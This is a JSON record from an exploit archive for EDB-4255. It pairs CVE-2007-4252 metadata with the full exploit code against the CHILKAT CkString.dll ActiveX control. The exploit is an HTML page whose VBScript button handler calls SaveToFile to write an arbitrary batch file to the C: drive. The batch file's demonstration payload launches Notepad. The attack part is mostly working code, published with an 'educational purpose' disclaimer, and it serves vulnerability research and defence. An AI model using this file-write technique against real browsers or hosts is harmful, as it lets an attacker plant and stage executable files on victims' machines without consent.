{"exploit":{"id":"EDB-4255","name":"CHILKAT ASP String - 'CkString.dll 1.1 SaveToFile()' Insecure Method","description":"CHILKAT ASP String - 'CkString.dll 1.1 SaveToFile()' Insecure Method","cves":["CVE-2007-4252"],"author":"shinnai","published":"2007-08-05","platform":"windows","type":"remote","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4255","path":"exploits/windows/remote/4255.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4255.html","vulnerabilities":[{"id":"CVE-2007-4252","state":"PUBLISHED","title":null,"titleSource":null,"description":"Absolute path traversal vulnerability in a certain ActiveX control in CkString.dll 1.1 and earlier in CHILKAT ASP String allows remote attackers to create or overwrite arbitrary files via a full pathname in the first argument to the SaveToFile method, a different vulnerability than CVE-2007-3633.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-4252","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-4252"},"updatedAt":"2024-08-07T14:46:39.522Z","retrievedAt":"2026-11-27T00:09:22.331Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4255.png?v=2","url":"https://exploitbin.com/exploits/EDB-4255","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4255/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4255/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<pre>\n<code><span style=\"font: 10pt Courier New;\"><span class=\"general1-symbol\">-----------------------------------------------------------------------------\n <b>CHILKAT ASP String (CkString.dll <= 1.1) \"SaveToFile()\" Inscure Method</b>\n url: http://www.chilkatsoft.com/\n\n author: shinnai\n mail: shinnai[at]autistici[dot]org\n site: http://shinnai.altervista.org\n\n This was written for educational purpose. Use it at your own risk.\n Author will be not be responsible for any damage.\n\n Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7\n all software that use this ocx are vulnerable to this exploits.\n\n <b>This control is marked as:\n RegKey Safe for Script: False\n RegKey Safe for Init: False\n Implements IObjectSafety: True\n IDisp Safe: Safe for untrusted: caller, data\n IPersist Safe: Safe for untrusted: caller, data\n IPStorage Safe: Safe for untrusted: caller, data</b>\n-----------------------------------------------------------------------------\n\n<object classid='clsid:90E567DA-5E79-4571-AB07-7A397FFBE995' id='test'></object>\n\n<input language=VBScript onclick=tryMe() type=button value=\"Click here to start the test\">\n\n<script language='vbscript'>\n Sub tryMe\n  Dim mStr\n  Dim MyMsg\n   mStr = \"echo off\" & vbCrLf & _\n          \"cls\" & vbCrLf & _\n          \"echo Hello World!\" & vbCrLf & _\n          \"cmd.exe /c notepad.exe\" & vbCrLf & _\n          \"pause\"\n\n   test.str = mStr\n   test.SaveToFile (\"c:\\shinnai.bat\"),\"big5\"\n   MyMsg = MsgBox(\"Exploit completed!\")\n End Sub\n</script>\n</span></span>\n\n</code></pre>\n\n# milw0rm.com [2007-08-05]","sha256":"0d3e5960c612624c20e71e6eef75374b7c33659f16faa76fcd48029b2329028a","bytes":1567,"fetchedAt":"2026-11-27T00:09:16.087Z","encoding":"utf-8 (display only; download retains original bytes)"}